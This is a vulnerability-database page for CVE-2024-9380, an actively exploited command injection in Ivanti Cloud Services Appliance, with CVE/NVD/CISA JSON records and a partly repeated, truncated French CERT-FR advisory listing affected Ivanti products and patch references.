cvelistv5 - CVE-2024-9380

CVE-2024-9380 (GCVE-0-2024-9380)

Vulnerability from cvelistv5 – Published: 2024-10-08 16:23 – Updated: 2025-10-21 22:55

CISA ENISA

Summary

An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.

Severity ?

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')

Assigner

ivanti

References

URL

Tags

https://forums.ivanti.com/s/article/Security-Advi…

Impacted products

	Vendor	Product	Version
	Ivanti	CSA (Cloud Services Appliance)	Unaffected: 5.0.2 (custom)

CISA Known Exploited Vulnerability

Data from the CISA Known Exploited Vulnerabilities Catalog

Date added: 2024-10-09

Due date: 2024-10-30

Required action: As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.

Used in ransomware: Unknown

Notes: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381 ; https://nvd.nist.gov/vuln/detail/CVE-2024-9380

ENISA Known Exploited Vulnerability

Data from the ENISA CNW Known Exploited Vulnerabilities Catalog

Vendor/Product: Ivanti | Product: CSA (Cloud Services Appliance)

CVE: CVE-2024-9380

EUVD: EUVD-2024-49898

Date reported: 17/01/25

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "affected",
            "product": "endpoint_manager_cloud_services_appliance",
            "vendor": "ivanti",
            "versions": [
              {
                "lessThan": "5.0.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-9380",
                "options": [
                  {
                    "Exploitation": "active"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-10T13:49:29.865376Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          },
          {
            "other": {
              "content": {
                "dateAdded": "2024-10-09",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9380"
              },
              "type": "kev"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-21T22:55:43.528Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "government-resource"
            ],
            "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9380"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2024-10-09T00:00:00+00:00",
            "value": "CVE-2024-9380 added to CISA KEV"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "affected",
          "product": "CSA (Cloud Services Appliance)",
          "vendor": "Ivanti",
          "versions": [
            {
              "status": "unaffected",
              "version": "5.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eAn OS command injection vulnerability in the admin web console of Ivanti CSA\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e before \u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eversion 5.0.2\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e allows a \u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eremote authenticated\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e attacker \u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003ewith admin privileges \u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eto \u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eobtain remote code execution.\u003c/span\u003e"
            }
          ],
          "value": "An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-88",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-88 OS Command Injection"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-77",
              "description": "CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-08T16:23:49.949Z",
        "orgId": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
        "shortName": "ivanti"
      },
      "references": [
        {
          "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
    "assignerShortName": "ivanti",
    "cveId": "CVE-2024-9380",
    "datePublished": "2024-10-08T16:23:49.949Z",
    "dateReserved": "2024-09-30T21:10:36.364Z",
    "dateUpdated": "2025-10-21T22:55:43.528Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "cisa_known_exploited": {
      "cveID": "CVE-2024-9380",
      "cwes": "[\"CWE-77\"]",
      "dateAdded": "2024-10-09",
      "dueDate": "2024-10-30",
      "knownRansomwareCampaignUse": "Unknown",
      "notes": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381 ; https://nvd.nist.gov/vuln/detail/CVE-2024-9380",
      "product": "Cloud Services Appliance (CSA)",
      "requiredAction": "As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.",
      "shortDescription": "Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can allow an authenticated attacker with application admin privileges to pass commands to the underlying OS.",
      "vendorProject": "Ivanti",
      "vulnerabilityName": "Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability"
    },
    "cnw_known_exploited": {
      "CVE": "CVE-2024-9380",
      "EUVD": "EUVD-2024-49898",
      "cwes": "-",
      "dateReported": "17/01/25",
      "exploitationType": "-",
      "notes": "-",
      "originSource": "cnw",
      "product": "CSA (Cloud Services Appliance)",
      "shortDescription": "-",
      "threatActorsExploiting": "-",
      "vendorProject": "Ivanti",
      "vulnerabilityName": "-"
    },
    "fkie_nvd": {
      "cisaActionDue": "2024-10-30",
      "cisaExploitAdd": "2024-10-09",
      "cisaRequiredAction": "As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.",
      "cisaVulnerabilityName": "Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability",
      "configurations": "[{\"nodes\": [{\"operator\": \"OR\", \"negate\": false, \"cpeMatch\": [{\"vulnerable\": true, \"criteria\": \"cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*\", \"versionEndExcluding\": \"5.0.2\", \"matchCriteriaId\": \"B633ABF6-4CAD-462D-B6C9-F209D90EAFD9\"}]}]}]",
      "descriptions": "[{\"lang\": \"en\", \"value\": \"An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.\"}, {\"lang\": \"es\", \"value\": \"Una vulnerabilidad de inyecci\\u00f3n de comandos del sistema operativo en la consola web de administraci\\u00f3n de Ivanti CSA anterior a la versi\\u00f3n 5.0.2 permite que un atacante remoto autenticado con privilegios de administrador obtenga la ejecuci\\u00f3n remota de c\\u00f3digo.\"}]",
      "id": "CVE-2024-9380",
      "lastModified": "2024-10-10T15:50:03.240",
      "metrics": "{\"cvssMetricV31\": [{\"source\": \"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\", \"type\": \"Secondary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\", \"baseScore\": 7.2, \"baseSeverity\": \"HIGH\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"HIGH\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 1.2, \"impactScore\": 5.9}, {\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"cvssData\": {\"version\": \"3.1\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\", \"baseScore\": 7.2, \"baseSeverity\": \"HIGH\", \"attackVector\": \"NETWORK\", \"attackComplexity\": \"LOW\", \"privilegesRequired\": \"HIGH\", \"userInteraction\": \"NONE\", \"scope\": \"UNCHANGED\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"availabilityImpact\": \"HIGH\"}, \"exploitabilityScore\": 1.2, \"impactScore\": 5.9}]}",
      "published": "2024-10-08T17:15:56.970",
      "references": "[{\"url\": \"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381\", \"source\": \"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\", \"tags\": [\"Vendor Advisory\"]}]",
      "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75",
      "vulnStatus": "Analyzed",
      "weaknesses": "[{\"source\": \"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\", \"type\": \"Secondary\", \"description\": [{\"lang\": \"en\", \"value\": \"CWE-77\"}]}, {\"source\": \"nvd@nist.gov\", \"type\": \"Primary\", \"description\": [{\"lang\": \"en\", \"value\": \"CWE-78\"}]}]"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2024-9380\",\"sourceIdentifier\":\"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\",\"published\":\"2024-10-08T17:15:56.970\",\"lastModified\":\"2025-10-24T13:55:07.140\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.\"},{\"lang\":\"es\",\"value\":\"Una vulnerabilidad de inyecci\u00f3n de comandos del sistema operativo en la consola web de administraci\u00f3n de Ivanti CSA anterior a la versi\u00f3n 5.0.2 permite que un atacante remoto autenticado con privilegios de administrador obtenga la ejecuci\u00f3n remota de c\u00f3digo.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.2,\"impactScore\":5.9},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"HIGH\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.2,\"impactScore\":5.9}]},\"cisaExploitAdd\":\"2024-10-09\",\"cisaActionDue\":\"2024-10-30\",\"cisaRequiredAction\":\"As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution.\",\"cisaVulnerabilityName\":\"Ivanti Cloud Services Appliance (CSA) OS Command Injection Vulnerability\",\"weaknesses\":[{\"source\":\"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-77\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-78\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"5.0.2\",\"matchCriteriaId\":\"B633ABF6-4CAD-462D-B6C9-F209D90EAFD9\"}]}]}],\"references\":[{\"url\":\"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381\",\"source\":\"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\",\"tags\":[\"Vendor Advisory\"]},{\"url\":\"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-9380\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"US Government Resource\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2024-9380\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"active\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-10-10T13:49:29.865376Z\"}}}, {\"other\": {\"type\": \"kev\", \"content\": {\"dateAdded\": \"2024-10-09\", \"reference\": \"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json\"}}}], \"affected\": [{\"cpes\": [\"cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:*\"], \"vendor\": \"ivanti\", \"product\": \"endpoint_manager_cloud_services_appliance\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"5.0.2\", \"versionType\": \"custom\"}], \"defaultStatus\": \"affected\"}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-10-08T19:15:36.147Z\"}, \"timeline\": [{\"lang\": \"en\", \"time\": \"2024-10-09T00:00:00+00:00\", \"value\": \"CVE-2024-9380 added to CISA KEV\"}]}], \"cna\": {\"source\": {\"discovery\": \"UNKNOWN\"}, \"impacts\": [{\"capecId\": \"CAPEC-88\", \"descriptions\": [{\"lang\": \"en\", \"value\": \"CAPEC-88 OS Command Injection\"}]}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"HIGH\", \"confidentialityImpact\": \"HIGH\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"GENERAL\"}]}], \"affected\": [{\"vendor\": \"Ivanti\", \"product\": \"CSA (Cloud Services Appliance)\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"5.0.2\", \"versionType\": \"custom\"}], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381\"}], \"x_generator\": {\"engine\": \"Vulnogram 0.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"An OS command injection vulnerability in the admin web console of Ivanti CSA before version 5.0.2 allows a remote authenticated attacker with admin privileges to obtain remote code execution.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eAn OS command injection vulnerability in the admin web console of Ivanti CSA\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003e before \u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eversion 5.0.2\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003e allows a \u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eremote authenticated\u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003e attacker \u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003ewith admin privileges \u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eto \u003c/span\u003e\u003cspan style=\\\"background-color: rgb(255, 255, 255);\\\"\u003eobtain remote code execution.\u003c/span\u003e\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-77\", \"description\": \"CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\", \"shortName\": \"ivanti\", \"dateUpdated\": \"2024-10-08T16:23:49.949Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2024-9380\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2024-10-09T16:20:22.357Z\", \"dateReserved\": \"2024-09-30T21:10:36.364Z\", \"assignerOrgId\": \"3c1d8aa1-5a33-4ea4-8992-aadd6440af75\", \"datePublished\": \"2024-10-08T16:23:49.949Z\", \"assignerShortName\": \"ivanti\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

CERTFR-2024-AVI-0851

Vulnerability from certfr_avis - Published: - Updated:

De multiples vulnérabilités ont été découvertes dans les produits Ivanti. Elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une atteinte à la confidentialité des données et une atteinte à l'intégrité des données.

Ivanti indique que les vulnérabilités CVE-2024-9379 et CVE-2024-9380 sont activement exploitées dans le cadre d'attaques ciblées, en combinaison avec la vulnérabilité CVE-2024-8963.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Ivanti rappelle que la version 4.6 de CSA est considérée obsolète et ne reçoit plus de correctifs de sécurité depuis le 10 septembre 2024.

Impacted products

Vendor	Product	Description
Ivanti	Connect Secure (ICS)	Connect Secure versions antérieures à 22.7R2.1 ou 22.7R2.2
Ivanti	Policy Secure (IPS)	Policy Secure versions antérieures à 22.7R1.1
Ivanti	Endpoint Manager pour Mobile	Endpoint Manager Mobile (EPMM) versions antérieures à 12.0.0.5
Ivanti	Endpoint Manager pour Mobile	Endpoint Manager Mobile (EPMM) versions 12.1.x antérieures à 12.1.0.4
Ivanti	Cloud Service Appliance (CSA)	Cloud Services Appliance (CSA) versions antérieures à 5.0.2
Ivanti	Connect Secure (ICS)	Connect Secure versions antérieures à 9.1R18.9 (prévue pour le 15 octobre 2024)

References

Title

Publication Time

Tags

Bulletin de sécurité Ivanti CVE-2024-7612	2024-10-07	vendor-advisory
Bulletin de sécurité Ivanti october-2024-security-update	2024-10-08	vendor-advisory
Bulletin de sécurité Ivanti CVE-2024-37404	2024-10-08	vendor-advisory
Bulletin de sécurité Ivanti CVE-2024-9379-CVE-2024-9380-CVE-2024-9381	2024-10-08	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Connect Secure versions ant\u00e9rieures \u00e0 22.7R2.1 ou 22.7R2.2",
      "product": {
        "name": "Connect Secure (ICS)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Policy Secure versions ant\u00e9rieures \u00e0 22.7R1.1",
      "product": {
        "name": "Policy Secure (IPS)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Endpoint Manager Mobile (EPMM) versions ant\u00e9rieures \u00e0 12.0.0.5",
      "product": {
        "name": "Endpoint Manager pour Mobile",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Endpoint Manager Mobile (EPMM) versions 12.1.x ant\u00e9rieures \u00e0 12.1.0.4",
      "product": {
        "name": "Endpoint Manager pour Mobile",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Cloud Services Appliance (CSA) versions ant\u00e9rieures \u00e0 5.0.2",
      "product": {
        "name": "Cloud Service Appliance (CSA)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Connect Secure versions ant\u00e9rieures \u00e0 9.1R18.9 (pr\u00e9vue pour le 15 octobre 2024)",
      "product": {
        "name": "Connect Secure (ICS)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "Ivanti rappelle que la version 4.6 de CSA est consid\u00e9r\u00e9e obsol\u00e8te et ne re\u00e7oit plus de correctifs de s\u00e9curit\u00e9 depuis le 10 septembre 2024.",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2024-7612",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7612"
    },
    {
      "name": "CVE-2024-37404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-37404"
    },
    {
      "name": "CVE-2024-9381",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9381"
    },
    {
      "name": "CVE-2024-9380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9380"
    },
    {
      "name": "CVE-2024-9379",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9379"
    }
  ],
  "links": [],
  "reference": "CERTFR-2024-AVI-0851",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2024-10-09T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
    },
    {
      "description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
    },
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits Ivanti. Elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et une atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es.\n\nIvanti indique que les vuln\u00e9rabilit\u00e9s CVE-2024-9379 et CVE-2024-9380 sont activement exploit\u00e9es dans le cadre d\u0027attaques cibl\u00e9es, en combinaison avec la vuln\u00e9rabilit\u00e9 CVE-2024-8963.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Ivanti",
  "vendor_advisories": [
    {
      "published_at": "2024-10-07",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti CVE-2024-7612",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2024-7612"
    },
    {
      "published_at": "2024-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti october-2024-security-update",
      "url": "https://www.ivanti.com/blog/october-2024-security-update"
    },
    {
      "published_at": "2024-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti CVE-2024-37404",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-and-Policy-Secure-CVE-2024-37404"
    },
    {
      "published_at": "2024-10-08",
      "title": "Bulletin de s\u00e9curit\u00e9 Ivanti CVE-2024-9379-CVE-2024-9380-CVE-2024-9381",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-Cloud-Services-Appliance-CVE-2024-9379-CVE-2024-9380-CVE-2024-9381"
    }
  ]
}

CERTFR-2024-AVI-0851

Vulnerability from certfr_avis - Published: - Updated:

Ivanti indique que les vulnérabilités CVE-2024-9379 et CVE-2024-9380 sont activement exploitées dans le cadre d'attaques ciblées, en combinaison avec la vulnérabilité CVE-2024-8963.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Ivanti rappelle que la version 4.6 de CSA est considérée obsolète et ne reçoit plus de correctifs de sécurité depuis le 10 septembre 2024.

Impacted products

Vendor	Product	Description
Ivanti	Connect Secure (ICS)	Connect Secure versions antérieures à 22.7R2.1 ou 22.7R2.2
Ivanti	Policy Secure (IPS)	Policy Secure versions antérieures à 22.7R1.1
Ivanti	Endpoint Manager pour Mobile	Endpoint Manager Mobile (EPMM) versions antérieures à 12.0.0.5
Ivanti	Endpoint Manager pour Mobile	Endpoint Manager Mobile (EPMM) versions 12.1.x antérieures à 12.1.0.4
Ivanti	Cloud Service Appliance (CSA)	Cloud Services Appliance (CSA) versions antérieures à 5.0.2
Ivanti	Connect Secure (ICS)	Connect Secure versions antérieures à 9.1R18.9 (prévue pour le 15 octobre 2024)

References

Title

Publication Time

Tags

Bulletin de sécurité Ivanti CVE-2024-7612	2024-10-07	vendor-advisory
Bulletin de sécurité Ivanti october-2024-security-update	2024-10-08	vendor-advisory
Bulletin de sécurité Ivanti CVE-2024-37404	2024-10-08	vendor-advisory
Bulletin de sécurité Ivanti CVE-2024-9379-CVE-2024-9380-CVE-2024-9381	2024-10-08	vendor-advisory

Show details on source website

JSON

To clipboard

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Connect Secure versions ant\u00e9rieures \u00e0 22.7R2.1 ou 22.7R2.2",
      "product": {
        "name": "Connect Secure (ICS)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Policy Secure versions ant\u00e9rieures \u00e0 22.7R1.1",
      "product": {
        "name": "Policy Secure (IPS)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Endpoint Manager Mobile (EPMM) versions ant\u00e9rieures \u00e0 12.0.0.5",
      "product": {
        "name": "Endpoint Manager pour Mobile",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Endpoint Manager Mobile (EPMM) versions 12.1.x ant\u00e9rieures \u00e0 12.1.0.4",
      "product": {
        "name": "Endpoint Manager pour Mobile",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Cloud Services Appliance (CSA) versions ant\u00e9rieures \u00e0 5.0.2",
      "product": {
        "name": "Cloud Service Appliance (CSA)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    },
    {
      "description": "Connect Secure versions ant\u00e9rieures \u00e0 9.1R18.9 (pr\u00e9vue pour le 15 octobre 2024)",
      "product": {
        "name": "Connect Secure (ICS)",
        "vendor": {
          "name": "Ivanti",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "Ivanti rappelle que la version 4.6 de CSA est consid\u00e9r\u00e9e obsol\u00e8te et ne re\u00e7oit plus de correctifs de s\u00e9curit\u00e9 depuis le 10 septembre 2024.",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2024-7612",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7612"
    },
    {
      "name": "CVE-2024-37404",
